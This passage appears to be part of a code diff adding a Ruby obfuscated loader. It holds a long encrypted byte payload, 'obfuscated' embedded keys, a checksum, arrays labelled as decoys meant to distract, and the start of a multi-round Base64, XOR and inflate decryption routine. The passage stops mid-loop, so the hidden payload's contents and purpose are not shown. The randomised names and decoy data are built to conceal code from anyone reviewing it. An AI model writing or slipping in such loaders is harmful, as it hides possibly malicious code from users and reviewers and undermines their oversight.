150, 4, 177, 127, 154, 141, 232, 200, 158, 96, 14, 19, 244, 10, 34, 91, 24, 164, 64, 48, 47, 234, 101, 163, 114, 40, 101, 41, 66, 138, 54, 202, 210, 153, 43, 104, 123, 112, 39, 36, 97, 185, 161, 2, 191, 27, 150, 241, 177, 105, 187, 117, 220, 193, 215, 135, 216, 235, 73, 141, 190, 204, 190, 45, 94, 250, 191, 89, 204, 178, 236, 161, 43, 115, 149, 126, 252, 204, 61, 146, 232, 146, 99, 255, 220, 252, 128, 145, 124, 27, 91, 111, 111, 68, 162, 145, 135, 4, 72, 225, 45, 162, 126, 148, 192, 139, 83, 132, 185, 85, 212, 152, 55, 187, 223, 190, 235, 179, 1, 96, 233, 167, 8, 108, 122, 201, 47, 191, 108, 142, 251, 124, 220, 15, 153, 57, 7, 130, 71, 246, 85, 35, 54, 192, 195, 1, 95, 82, 135, 229, 24, 162, 84, 71, 51, 141, 11, 252, 186, 155, 240, 194, 88, 96, 93, 192, 101, 135, 114, 216, 205, 14, 175, 132, 6, 113, 72, 140, 161, 111, 240, 124, 245, 84, 243, 0, 126, 247, 111, 237, 6, 177, 223, 70, 35, 154, 254, 67, 120, 158, 102, 127, 170, 249, 222, 43, 149, 35, 39, 85, 244, 108, 141, 120, 119, 196, 36, 87, 108, 50, 191, 69, 210, 181, 238, 197, 200, 64, 188, 130, 189, 112, 3, 200, 231, 109, 147, 35, 183, 255, 242, 73, 181, 82, 40, 116, 57, 39, 167, 4, 0, 98, 87, 79, 47, 207, 192, 196, 209, 91, 102, 178, 190, 242, 52, 241, 155, 33, 6, 112, 64, 70, 229, 159, 33, 134, 74, 105, 80, 105, 233, 98, 50, 213, 100, 204, 100, 147, 229, 153, 142, 64, 153, 251, 96, 210, 104, 195, 161, 220, 235, 248, 26, 10, 76, 144, 236, 144, 165, 150, 128, 15, 229, 241, 145, 191, 54, 149, 144, 205, 197, 28, 108, 104, 209, 56, 95, 97, 231, 153, 46, 188, 236, 209, 173, 120, 10, 86, 93, 191, 50, 90, 124, 24, 87, 115, 76, 107, 101, 197, 43, 94, 34, 70, 228, 152, 133, 224, 43, 239, 102, 160, 158, 104, 182, 84, 38, 126, 26, 179, 155, 90, 56, 71, 100, 30, 114, 185, 218, 209, 228, 13, 140, 17, 148, 131, 188, 217, 109, 187, 65, 204, 23, 46, 75, 52, 144, 221, 72, 97, 31, 38, 88, 213, 122, 53, 78, 101, 205, 14, 121, 196, 100, 202, 134, 222, 79, 101, 6, 54, 119, 169, 199, 218, 145, 204, 240, 37, 37, 68, 32, 242, 188, 138, 75, 5, 56, 201, 195, 95, 13, 232, 126, 227, 53, 155, 77, 95, 98, 117, 77, 158, 29, 118, 65, 120, 102, 153, 193, 166, 31, 208, 39, 45, 246, 254, 26, 232, 188, 100, 84, 104, 187, 39, 83, 24, 50, 119, 190, 207, 47, 8, 134, 73, 66, 226, 168, 39, 5, 124, 25, 119, 8, 193, 216, 96, 97, 30, 201, 91, 118, 74, 8, 199, 27, 134, 4, 96, 55, 204, 93, 93, 39, 78, 228, 36, 65, 100, 249, 185, 152, 57, 234, 125, 173, 253, 221, 62, 63, 210, 168, 90, 238, 204, 50, 139, 91, 239, 212, 205, 133, 205, 215, 70, 217, 143, 123, 142, 135, 215, 10, 79, 128, 170, 89, 150, 246, 240, 164, 70, 163, 47, 230, 146, 183, 14, 238, 102, 100, 39, 81, 49, 56, 147, 186, 58, 145, 174, 143, 56, 62, 201, 113, 143, 234, 252, 96, 213, 165, 151, 232, 235, 169, 166, 54, 225, 255, 220, 128, 49, 110, 45, 126, 135, 143, 253, 204, 80, 128, 32, 79, 20, 41, 225, 51, 87, 92, 16, 137, 18, 150, 150, 180, 4, 13, 177, 176, 66, 117, 184, 218, 8, 2, 93, 243, 58, 178, 248, 205, 39, 117, 227, 234, 160, 165, 73, 93, 185, 138, 107, 206, 250, 68, 15, 46, 89, 128, 44, 177, 172, 22, 71, 123, 255, 237, 22, 205, 26, 134, 99, 248, 157, 77, 220, 48, 9, 29, 150, 43, 127, 18, 1, 137, 192, 247, 249, 28, 115, 58, 162, 144, 228, 240, 112, 59, 75, 120, 255, 209, 47, 68, 132, 182, 15, 177, 228, 175, 245, 102, 29, 121, 141, 185, 97, 64, 158, 111, 72, 243, 216, 230, 243, 90, 158, 100, 208, 139, 125, 180, 209, 123, 18, 34, 80, 34, 167, 109, 132, 158, 252, 1, 200, 41, 203, 41, 96, 119, 62, 92, 222, 69, 94, 88, 133, 30, 176, 71, 207, 143, 176, 208, 233, 148, 115, 210, 227, 98, 213, 59, 250, 15, 174, 65, 42, 122, 134, 93, 137, 247, 56, 226, 103, 2, 244, 225, 54, 177, 151, 68, 92, 165, 136, 247, 100, 9, 182, 83, 174, 161, 136, 62, 104, 224, 32, 48, 180, 159, 160, 192, 114, 145, 162, 99, 54, 255, 177, 80, 63, 181, 201, 213, 163, 5, 188, 153, 55, 109, 12, 69, 87, 22, 34, 190, 78, 211, 82, 222, 5, 78, 219, 137, 184, 57, 118, 175, 139, 167, 254, 85, 213, 51, 156, 104, 230, 25, 26, 37, 48, 55, 21, 222, 81, 132, 141, 179, 77, 132, 193, 17, 14, 245, 194, 99, 172, 206, 90, 157, 106, 93, 190, 1, 141, 131, 214, 172, 154, 135, 247, 220, 189, 177, 105, 47, 89, 254, 23, 39, 136, 110, 113, 2, 69, 163, 197, 31, 182, 207, 217, 55, 163, 31, 69, 105, 37, 245, 163, 107, 124, 123, 245, 72, 213, 245, 159, 49, 253, 88, 76, 249, 171, 108, 13, 109, 82, 149, 215, 144, 150, 242, 128, 251, 40, 253, 21, 194, 112, 66, 78, 243, 6, 129, 110, 156, 253, 92, 178, 211, 87, 236, 190, 187, 183, 225, 125, 221, 155, 16, 230, 56, 52, 218, 139, 204, 46, 217, 45, 53, 75, 162, 71, 108, 84, 6, 1, 85, 37, 49, 67, 76, 167, 9, 217, 13, 100, 111, 139, 94, 43, 255, 221, 57, 55, 77, 244, 104, 201, 151, 41, 235, 149, 51, 104, 29, 11, 24, 236, 207, 15, 213, 50, 37, 166, 232, 225, 73, 89, 118, 126, 36, 23, 76, 36, 170, 79, 222, 77, 253, 219, 242, 150, 22, 241, 47, 46, 86, 59, 63, 57, 45, 158, 91, 242, 177, 166, 35, 123, 29, 81, 141, 72, 92, 229, 108, 158, 188, 244, 227, 201, 97, 30, 101, 11, 156, 82, 87, 137, 244, 49, 195, 99, 70, 54, 157, 185, 210, 87, 5, 31, 58, 100, 44, 107, 153, 74, 153, 57, 199, 247, 37, 159, 188, 133, 86, 85, 96, 175, 157, 245, 4, 96, 228, 202, 201, 72, 235, 80, 150, 19, 120, 8, 191, 50, 49, 70, 212, 61, 112, 89, 54, 19, 223, 185, 140, 244, 44, 250, 30, 16, 102, 57, 156, 77, 127, 46, 208, 6, 202, 37, 212, 247, 170, 129, 124, 114, 133, 212, 129, 149, 22, 229, 231, 25, 1, 70, 100, 176, 26, 33, 244, 226, 56, 189, 34, 134, 219, 142, 98, 91, 174, 27, 88, 15, 218, 87, 177, 90, 223, 21, 19, 166, 152, 85, 235, 73, 56, 114, 60, 17, 145, 152, 24, 183, 237, 232, 95, 116, 150, 13, 102, 234, 108, 35, 159, 41, 59, 176, 68, 162, 163, 47, 22, 7, 2, 24, 129, 49, 70, 111, 229, 247, 115, 111, 126, 54, 206, 216, 165, 192, 82, 213, 159, 203, 134, 49, 83, 9, 78, 112, 34, 239, 207, 77, 138, 94, 82, 10, 63, 53, 218, 44, 150, 30, 49, 62, 117, 250, 107, 98, 102, 29, 222, 125, 79, 249, 25, 141, 118, 234, 204, 68, 71, 49, 144, 175, 69, 69, 194, 81, 116, 64, 16, 59, 100, 61, 84, 241, 96, 219, 119, 242, 46, 49, 43, 49, 145, 62, 14, 97, 86, 38, 173, 249, 73, 37, 6, 82, 63, 179, 149, 212, 15, 181, 67, 188, 163, 193, 182, 124, 128, 245, 64, 30, 49, 57, 85, 64, 146, 115, 31, 81, 231, 174, 168, 211, 81, 151, 125, 107, 210, 172, 63, 118, 185, 195, 186, 65, 228, 80, 234, 227, 159, 20, 9, 140, 31, 157, 90, 121, 28, 30, 216, 134, 15, 109, 138, 124, 6, 111, 165, 215, 39, 144, 16, 205, 132, 173, 33, 189, 100, 86, 252, 178, 16, 245, 14, 236, 12, 253, 253, 177, 171, 204, 144, 164, 160, 155, 212, 110, 30, 254, 50, 176, 90, 181, 15, 246, 202, 134, 171, 24, 18, 172, 110, 219, 238, 27, 160, 35, 56, 61, 187, 55, 168, 79, 249, 74, 44, 192, 60, 14, 238, 77, 13, 227, 226, 66, 4, 132, 103, 224, 40, 94, 62, 61, 77, 126, 213, 147, 64, 195, 82, 162, 199, 196, 162, 5, 68, 62, 235, 230, 81, 100, 125, 24, 167, 184, 194, 183, 241, 243, 245, 115, 129, 2, 224, 48, 89, 16, 159, 24, 34, 128, 214, 83, 25, 249, 164, 180, 21, 214, 240, 69, 33, 254, 3, 14, 18, 84, 5, 197, 62, 255, 13, 83, 222, 74, 41, 226, 75, 218, 200, 179, 61, 183, 74, 41, 175, 198, 144, 239, 149, 218, 30, 89, 123, 76, 179, 143, 0, 26, 3, 114, 137, 79, 221, 202, 65, 159, 174, 7, 161, 206, 34, 121, 213, 136, 106, 218, 235, 0, 159, 12, 21, 28, 163, 65, 99, 0, 223, 113, 42, 59, 195, 191, 172, 73, 186, 100, 59, 48, 91, 45, 25, 227, 14, 253, 105, 83, 114, 29, 63, 139, 193, 197, 79, 160, 8, 227, 204, 108, 114, 54, 189, 174, 187, 94, 13, 111, 83, 241, 66, 253, 152, 40, 175, 38, 41, 220, 178, 107, 231, 130, 179, 203, 48, 56, 68, 165, 191, 107, 85, 127, 127, 120, 91, 61, 175, 108, 196, 155, 116, 183, 170, 196, 150, 1, 125, 120, 85, 240, 198, 250, 199, 3, 46, 30, 204, 243, 154, 244, 155, 127, 150, 187, 158, 64, 86, 242, 9, 68, 23, 27, 225, 42, 152, 88, 87, 48, 219, 148, 51, 68, 173, 173, 106, 54, 47, 196, 146, 129, 221, 13, 156, 50, 110, 20, 105, 47, 193, 157, 119, 173, 246, 31, 177, 236, 172, 252, 92, 240, 57, 31, 186, 67, 12, 126, 130, 31, 29, 91, 250, 118, 30, 131, 38, 239, 117, 155, 30, 126, 193, 151, 244, 75, 99, 75, 101, 14, 194, 29, 152, 134, 209, 18, 176, 157, 41, 2, 128, 163, 56, 201, 244, 251, 6, 117, 238, 244, 159, 220, 33, 209, 58, 30, 91, 157, 52, 90, 180, 186, 231, 22, 126, 63, 223, 145, 255, 103, 33, 73, 56, 133, 88, 27, 64, 48, 95, 76, 75, 161, 179, 200, 228, 20, 126, 129, 132, 145, 249, 27, 235, 223, 8, 197, 140, 136, 184, 121, 23, 1, 206, 132, 108, 77, 37, 247, 35, 40, 160, 131, 182, 222, 73, 142, 178, 213, 146, 183, 250, 250, 141, 71, 77, 253, 85, 24, 196, 15, 78, 125, 188, 120, 187, 199, 212, 221, 78, 104, 213, 154, 38, 38, 70, 244, 64, 114, 192, 255, 11, 81, 10, 195, 48, 187, 217, 79, 89, 105, 126, 40, 138, 45, 2, 117, 87, 72, 153, 137, 119, 16, 1, 130, 118, 18, 78, 159, 4, 100, 210, 65, 241, 4, 144, 57, 201, 197, 177, 128, 177, 71, 123, 135, 196, 42, 156, 79, 4, 238, 108, 160, 132, 153, 194, 48, 118, 96, 217, 204, 25, 42, 212, 232, 150, 182, 224, 35, 115, 49, 210, 83, 203, 29, 220, 192, 34, 149, 3, 145, 122, 61, 208, 87, 241, 123, 141, 48, 128, 130, 114, 196, 215, 81, 136, 152, 44, 160, 215, 177, 91, 172, 218, 78, 229, 32, 68, 5, 86, 129, 128, 239, 70, 47, 85, 117, 91, 165, 73, 186, 125, 78, 172, 46, 67, 80, 202, 86, 236, 141, 140, 205, 200, 186, 159, 101, 65, 237, 19, 52, 85, 72, 140, 186, 40, 20, 49, 102, 132, 218, 161, 213, 104, 248, 97, 173, 111, 149, 240, 181, 161, 175, 144, 231, 107, 162, 52, 103, 106, 238, 82, 10, 221, 150, 233, 153, 158, 20, 255, 56, 148, 231, 93, 237, 13, 223, 167, 77, 13, 37, 213, 200, 191, 236, 25, 71, 180, 152, 219, 93, 60, 60, 133, 27, 163, 249, 213, 21, 84, 64, 23, 65, 44, 252, 166, 32, 105, 216, 63, 217, 54, 128, 121, 67, 82, 158, 186, 51, 55, 178, 22, 155, 54, 106, 66, 161, 17, 41, 251, 153, 50, 50, 253, 244, 28, 64, 17, 116, 79, 246, 178, 246, 169, 229, 219, 136, 81, 24, 108, 44, 179, 204, 36, 1, 24, 210, 186, 62, 0, 66, 106, 255, 219, 164, 169, 198, 237, 73, 175, 42, 217, 120, 27, 112, 16, 211, 37, 89, 120, 233, 9, 148, 29, 242, 98, 219, 128, 106, 78, 66, 223, 110, 125, 32, 120, 190, 158, 9, 223, 69, 69, 4, 203, 32, 75, 183, 156, 140, 252, 131, 97, 226, 131, 177, 171, 189, 24, 112, 149, 8, 38, 58, 63, 97, 122, 142, 65, 158, 153, 244, 0, 196, 29, 244, 4, 202, 250, 89, 146, 125, 247, 49, 128, 218, 196, 60, 111, 30, 192, 158, 222, 54, 252, 106, 74, 204, 231, 197, 40, 246, 4, 96, 98, 33, 154, 1, 130, 250, 45, 220, 68, 26, 90, 240, 69, 3, 32, 60, 204, 56, 210, 6, 86, 148, 109, 100, 197, 140, 138, 71, 116, 54, 247, 123, 62, 193, 58, 84, 25, 75, 222, 57, 113, 59, 88, 6, 224, 90, 235, 179, 96, 158, 230, 207, 13, 5, 100, 89, 213, 119, 67, 102, 215, 53, 36, 148, 157, 200, 104, 113, 129, 87, 88, 255, 191, 133, 127, 106, 183, 105, 137, 122, 31, 182, 160, 228, 64, 253, 31, 167, 185, 38, 17, 215, 214, 212, 185, 57, 132, 165, 92, 154, 242, 151, 215, 137, 221, 0, 71, 30, 221, 177, 142, 160, 236, 212, 217, 245, 100, 127, 72, 151, 136, 100, 116, 230, 212, 30, 107, 226, 10, 24, 235, 191, 32, 97, 61, 199, 197, 108, 189, 19, 217, 88, 177, 240, 223, 206, 68, 53, 39, 170, 239, 114, 178, 231, 193, 88, 252, 123, 54, 59, 30, 130, 224, 160, 133, 89, 69, 35, 249, 15, 238, 11, 22, 205, 194, 173, 28, 156, 18, 31, 213, 192, 20, 105, 22, 65, 150, 126, 98, 251, 102, 40, 182, 228, 45, 44, 60, 108, 21, 15, 213, 23, 159, 139, 169, 30, 135, 140, 102, 111, 190, 53, 150, 71, 171, 107, 44, 87, 36, 118, 234, 240, 191, 123, 165, 31, 116, 255, 233, 241, 106, 238, 184, 0, 167, 16, 136, 239, 169, 137, 224, 25, 168, 0, 192, 239, 116, 183, 53, 186, 1, 71, 132, 177, 68, 207, 119, 175, 232, 37, 30, 133, 207, 35, 84, 199, 137, 70, 240, 249, 244, 113, 199, 223, 91, 148, 89, 37, 26, 247, 196, 138, 56, 233, 245, 150, 29, 154, 225, 209, 248, 5, 84, 79, 29, 12, 236, 84, 211, 186, 32, 203, 63, 182, 134, 195, 87, 203, 123, 147, 109, 234, 33, 60, 238, 20, 21, 111, 44, 99, 33, 155, 117, 254, 200, 90, 229, 105, 88, 116, 147, 106, 144, 247, 119, 112, 9, 2, 79, 139, 233, 220, 101, 82, 70, 197, 9, 199, 94, 231, 231, 34, 81, 185, 169, 133, 41, 26, 129, 202, 235, 84, 57, 76, 106, 9, 54, 84, 176, 140, 122, 75, 19, 119, 97, 15, 75, 3, 62, 82, 126, 223, 0, 9, 164, 97, 101, 125, 48, 196, 83, 132, 86, 97, 14, 87, 67, 87, 208, 91, 162, 0, 152, 36, 254, 107, 160, 157, 149, 235, 33, 7, 151, 20, 113, 95, 192, 102, 250, 82, 176, 112, 226, 115, 109, 124, 71, 109, 126, 226, 190, 207, 105, 204, 156, 89, 215, 1, 137, 126, 21, 103, 234, 176, 146, 91, 251, 105, 118, 246, 39, 8, 22, 73, 213, 155, 38, 156, 248, 89, 69, 157, 240, 183, 63, 143, 188, 220, 237, 95, 132, 216, 255, 126, 221, 58, 240, 69, 26, 123, 17, 188, 106, 170, 44, 50, 28, 194, 147, 100, 172, 238, 161, 147, 34, 254, 49, 76, 116, 233, 110, 13, 101, 56, 198, 153, 235, 93, 189, 109, 128, 226, 217, 161, 33, 144, 167, 93, 28, 60, 5, 34, 57, 109, 225, 42, 7, 82, 206, 203, 130, 234, 175, 187, 9, 164, 76, 18, 219, 176, 195, 216, 83, 46, 242, 119, 137, 128, 59, 213, 240, 132, 159, 51, 140, 4, 79, 125, 34, 20, 231, 244, 184, 108, 159, 68, 178, 85, 86, 189, 143, 212, 72, 12, 123, 127, 2, 41, 70, 139, 128, 212, 128, 131, 126, 66, 250, 255, 133, 91, 103, 62, 60, 210, 150, 155, 134, 73, 150, 239, 230, 77, 57, 113, 15, 218, 98, 110, 38, 145, 201, 116, 92, 11, 237, 244, 9, 48, 236, 245, 206, 152, 92, 103, 46, 29, 184, 149, 131, 220, 184, 160, 32, 199, 178, 152, 124, 54, 235, 33, 101, 146, 238, 53, 81, 118, 89, 54, 48, 218, 46, 118, 204, 15, 76, 54, 67, 32, 145, 55, 206, 141, 23, 52, 217, 171, 66, 164, 121, 116, 83, 100, 136, 214, 232, 246, 105, 43, 51, 17, 207, 119, 73, 254, 199, 108, 93, 143, 45, 59, 91, 227, 14, 27, 25, 235, 186, 225, 31, 40, 198, 14, 26, 154, 151, 246, 218, 157, 154, 30, 126, 159, 236, 15, 225, 97, 201, 201, 101, 105, 231, 189, 191, 220, 103, 31, 201, 10, 177, 108, 239, 21, 22, 231, 36, 130, 225, 153, 148, 36, 124, 246, 226, 103, 73, 171, 71, 118, 156, 203, 179, 158, 84, 107, 18, 195, 17, 0, 223, 245, 77, 230, 15, 164, 2, 62, 245, 5, 213, 118, 76, 238, 102, 146, 151, 239, 48, 137, 172, 24, 31, 210, 235, 140, 158, 223, 140, 41, 40, 219, 255, 98, 45, 38, 82, 42, 72, 22, 207, 97, 173, 99, 140, 213, 149, 68, 79, 235, 252, 109, 80, 225, 70, 136, 12, 199, 86, 157, 10, 6, 98, 38, 199, 154, 201, 209, 149, 249, 204, 86, 145, 70, 55, 28, 107, 219, 255, 152, 217, 3, 160, 90, 152, 156, 134, 239, 227, 220, 2, 230, 192, 30, 180, 226, 5, 54, 165, 125, 98, 26, 27, 31, 110, 157, 48, 94, 1, 30, 159, 21, 89, 109, 223, 252, 101, 22, 68, 50, 129, 241, 18, 35, 139, 217, 96, 45, 20, 67, 29, 206, 104, 211, 162, 203, 234, 11, 4, 93, 71, 71, 204, 220, 164, 46, 149, 234, 140, 47, 63, 184, 160, 162, 164, 129, 193, 160, 113, 108, 194, 47, 78, 57, 211, 120, 164, 155, 137, 237, 135, 40, 86, 78, 46, 127, 46, 46, 227, 247, 5, 121, 67, 97, 187, 181, 94, 242, 33, 57, 60, 24, 213, 94, 108, 6, 14, 148, 206, 78, 80, 159, 83, 228, 98, 186, 29, 142, 160, 216, 81, 145, 242, 149, 163, 215, 35, 202, 134, 64, 94, 132, 156, 164, 70, 230, 124, 184, 43, 247, 234, 214, 6, 8, 74, 95, 85, 33, 223, 9, 227, 124, 49, 185, 13, 159, 161, 157, 32, 182, 143, 111, 234, 158, 206, 171, 39, 123, 226, 76, 127, 220, 182, 217, 66, 127, 217, 47, 39, 82, 72, 188, 55, 211, 8, 197, 234, 229, 183, 161, 164, 110, 46, 115, 57, 96, 194, 1, 251, 249, 32, 230, 218, 73, 10, 115, 162, 143, 93, 47, 115, 36, 227, 46, 240, 95, 122, 191, 212, 69, 17, 116, 200, 17, 78, 213, 51, 168, 89, 106, 221, 120, 137, 27, 39, 182, 106, 104, 59, 221, 33, 254, 16, 8, 49, 79, 215, 154, 80, 34, 66, 251, 126, 192, 173, 171, 11, 136, 107, 247, 150, 49, 44, 176, 182, 114, 168, 21, 74, 71, 199, 251, 19, 45, 232, 101, 107, 210, 74, 46, 14, 1, 201, 137, 43, 241, 142, 179, 90, 44, 90, 197, 163, 108, 0, 192, 107, 21, 83, 42, 143, 167, 224, 159, 138, 161, 154, 160, 231, 123, 163, 158, 21, 211, 80, 154, 214, 35, 79, 97, 220, 218, 134, 255, 41, 140, 113, 214, 243, 236, 241, 169, 195, 165, 31, 120, 212, 55, 150, 234, 44, 161, 167, 174, 19, 53, 199, 1, 237, 17, 200, 33, 74, 152, 61, 95, 115, 56, 68, 130, 0, 107, 109, 134, 224, 184, 223, 230, 13, 0, 5, 252, 43, 54, 193, 177, 244, 116, 192, 109, 14, 54, 233, 152, 86, 228, 178, 127, 59, 158, 39, 248, 186, 126, 248, 161, 101, 159, 101, 242, 6, 161, 94, 38, 107, 186, 15, 44, 163, 46, 65, 197, 143, 117, 162, 46, 216, 151, 175, 92, 188, 197, 2, 233, 221, 123, 163, 182, 167, 164, 35, 134, 215, 86, 81, 53, 47, 252, 20, 120, 247, 55, 132, 195, 212, 216, 93, 27, 234, 22, 55, 130, 119, 71, 105, 119, 251, 174, 148, 13, 157, 161, 137, 75, 220, 204, 205, 97, 221, 36, 5, 118, 252, 158, 0, 181, 67, 154, 52, 107, 151, 55, 137, 233, 217, 17, 160, 183, 141, 22, 78, 76, 229, 98, 213, 160, 234, 133, 44, 191, 229, 226, 86, 29, 39, 156, 123, 200, 211, 30, 6, 102, 117, 52, 179, 34, 209, 117, 182, 33, 24, 65, 174, 196, 233, 162, 31, 123, 234, 8, 110, 0, 170, 224, 68, 103, 15, 132, 53, 61, 35, 129, 94, 234, 128, 65, 178, 221, 26, 96, 109, 33, 204, 99, 190, 148, 247, 111, 112, 116, 107, 147, 183, 93, 181, 19, 217, 58, 102, 200, 178, 207, 152, 218, 119, 152, 188, 193, 52, 89, 4, 9, 187, 61, 13, 75, 250, 197, 133, 77, 234, 151, 137, 35, 101, 249, 4, 194, 241, 108, 45, 156, 156, 168, 86, 18, 116, 104, 106, 83, 69, 193, 96, 221, 173, 53, 118, 44, 140, 119, 133, 185, 128, 98, 103, 52, 253, 210, 3, 182, 59, 203, 37, 217, 85, 93, 203, 19, 57, 254, 36, 147, 164, 171, 40, 106, 28, 63, 146, 196, 12, 75, 202, 20, 64, 52, 210, 219, 211, 53, 117, 51, 93, 149, 124, 174, 179, 205, 206, 146, 225, 139, 134, 78, 213, 128, 159, 184, 71, 133, 110, 88, 98, 76, 195, 245, 229, 106, 139, 11, 204, 40, 216, 7, 73, 246, 90, 69, 127, 193, 71, 2, 135, 53, 120, 174, 16, 94, 125, 99, 197, 170, 25, 231, 156, 82, 77, 220, 29, 244, 179, 71, 229, 106, 146, 0, 89, 22, 103, 80, 214, 192, 16, 62, 69, 116, 156, 105, 120, 149, 56, 77, 227, 95, 223, 132, 163, 141, 243, 213, 26, 17, 39, 190, 27, 98, 0, 50, 83, 78, 2, 90, 244, 66, 19, 51, 187, 208, 121, 53, 163, 192, 235, 195, 19, 254, 142, 123, 143, 64, 66, 6, 1, 238, 186, 209, 163, 18, 67, 24, 137, 240, 186, 167, 12, 153, 127, 145, 144, 170, 88, 106, 94, 112, 37, 30, 150, 236, 130, 159, 42, 228, 209, 164, 163, 178, 240, 157, 112, 194, 59, 253, 109, 19, 130, 144, 37, 83, 225, 90, 144, 49, 247, 191, 131, 50, 209, 71, 35, 10, 252, 21, 47, 8, 6, 134, 144, 59, 185, 138, 90, 229, 176, 217, 27, 206, 8, 161, 154, 177, 140, 181, 234, 236, 249, 249, 7, 55, 92, 80, 137, 212, 97, 130, 43, 241, 184, 102, 165, 227, 57, 47, 241, 71, 146, 95, 51, 161, 139, 172, 78, 229, 33, 18, 85, 221, 98, 206, 109, 58, 227, 33, 63, 168, 83, 116, 220, 216, 161, 20, 164, 236, 102, 73, 13, 106, 125, 120, 98, 11, 109, 161, 117, 103, 248, 23, 250, 39, 91, 130, 70, 32, 45, 13, 171, 16, 65, 191, 190, 87, 149, 17, 125, 200, 180, 176, 58, 60, 117, 66, 103, 210, 234, 16, 226, 61, 95, 209, 201, 150, 223, 19, 155, 9, 160, 170, 255, 19, 33, 104, 1, 186, 4, 177, 221, 99, 34, 242, 42, 60, 40, 163, 207, 245, 113, 52, 200, 213, 246, 16, 156, 168, 109, 243, 2, 3, 164, 51, 65, 146, 225, 240, 103, 66, 100, 113, 145, 69, 114, 24, 123, 122, 135, 253, 194, 160, 37, 93, 137, 63, 75, 50, 173, 193, 133, 118, 41, 33, 22, 193, 74, 115, 127, 202, 45, 221, 222, 212, 233, 22, 172, 12, 117, 168, 46, 246, 235, 203, 65, 219, 30, 108, 184, 86, 143, 74, 205, 173, 46, 117, 80, 108, 188, 211, 87, 15, 178, 175, 36, 172, 242, 102, 96, 15, 76, 64, 248, 196, 56, 29, 134, 48, 253, 216, 222, 52, 224, 232, 202, 16, 131, 33, 194, 147, 97, 130, 162, 39, 46, 222, 222, 228, 17, 111, 205, 209, 173, 249, 138, 156, 112, 248, 81, 111, 119, 174, 80, 231, 103, 232, 72, 159, 171, 212, 229, 110, 83, 71, 118, 39, 214, 15, 92, 185, 210, 136, 1, 231, 24, 97, 107, 64, 67, 106, 234, 98, 140, 181, 48, 33, 150, 60, 5, 85, 139, 26, 22, 252, 197, 105, 31, 93, 191, 92, 81, 235, 93, 117, 145, 209, 126, 138, 208, 125, 45, 40, 119, 86, 252, 150, 25, 7, 204] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_fbf38fe = [128, 114, 185, 106, 73, 18, 224, 24, 143, 199, 135, 54, 170, 229, 10, 52, 3, 210, 168, 233]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_r46e010 = [0, 1, 1, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_e6245f0 = '773322451393f0ffca30464d7dc19925e2795b2d6bbbcab9fa5cac12252e1a80'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_ga73e64 = [98, 122, 128, 76, 205, 160, 211, 156, 11, 196, 103, 218, 166, 56, 138, 248, 201, 70, 179, 157, 236, 245, 247, 85, 194, 62, 225, 13, 122, 203, 177, 255, 44, 40, 55, 124, 118, 55, 147, 159, 147, 201, 92, 200, 217, 222, 4, 244, 65, 17]
|
|
64
|
+
_j96af97 = [4, 127, 29, 42, 228, 102, 145, 45, 77, 175, 57, 149, 108, 189, 73, 47, 27, 45, 229, 198, 227, 118, 111, 62, 211, 226, 223, 148, 11, 45, 125, 181, 23, 189, 109, 43, 147, 109, 184, 177, 59, 152, 108, 104, 209, 172, 64, 146, 225, 184, 0, 29, 148, 109, 54, 254, 223, 112, 213, 245, 234, 198, 191, 75, 230, 108, 9, 195, 120, 182, 23, 125, 214, 210, 181, 201, 244, 56, 30, 175, 244, 248, 106, 198, 150, 154, 9, 254, 191, 93, 40, 48, 94, 132, 116, 46, 237, 53, 199, 129, 228, 215, 72, 248, 17, 206, 67, 85, 114, 15, 171, 44, 104, 57, 175, 155, 182, 140, 16, 212, 132, 155, 62, 166, 134, 86, 183, 197, 200, 91, 142, 147, 21, 52, 33]
|
|
65
|
+
_v12d518 = [184, 64, 13, 27, 203, 146, 211, 68, 88, 192, 247, 111, 14, 235, 106, 115, 24, 10, 115, 168, 212, 69, 91, 179, 34, 92, 177, 214, 98, 254, 82, 172, 163, 229, 168, 17, 118, 243, 140, 59, 119, 76, 224, 182, 128, 103, 208, 211, 202, 122, 224, 30, 237, 91, 41, 250, 2, 157, 213, 120, 233, 225, 105, 218, 161, 210, 252, 149, 252, 187, 80, 102, 5, 31, 7, 251, 72, 195, 86, 124, 194, 64, 74, 27, 150, 90, 200, 130, 139, 101, 217, 1, 183, 177, 9, 96, 133, 192, 21, 213, 234, 217, 242, 20, 95, 68, 12, 157]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _b8c9018.call(_v4ddd9d, _r46e010, _fbf38fe, _e6245f0)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_ma064f7 = _v4ddd9d.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_v889d52|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_le141d6 = 5 - _v889d52 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_r9eef4d = 4
|
|
84
|
+
_pbeeba7 = _le141d6 * _r9eef4d
|
|
85
|
+
_o906b53 = _fbf38fe[_pbeeba7, _r9eef4d]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _r46e010[_le141d6] == 1
|
|
93
|
+
_z6d2af1 = _ma064f7.pack('C*')
|
|
94
|
+
_z6d2af1 = Base64.strict_decode64(_z6d2af1)
|
|
95
|
+
_ma064f7 = _z6d2af1.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_ma064f7 = _d535c7c.call(_ma064f7, _o906b53)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_z6d2af1 = _ma064f7.pack('C*')
|
|
103
|
+
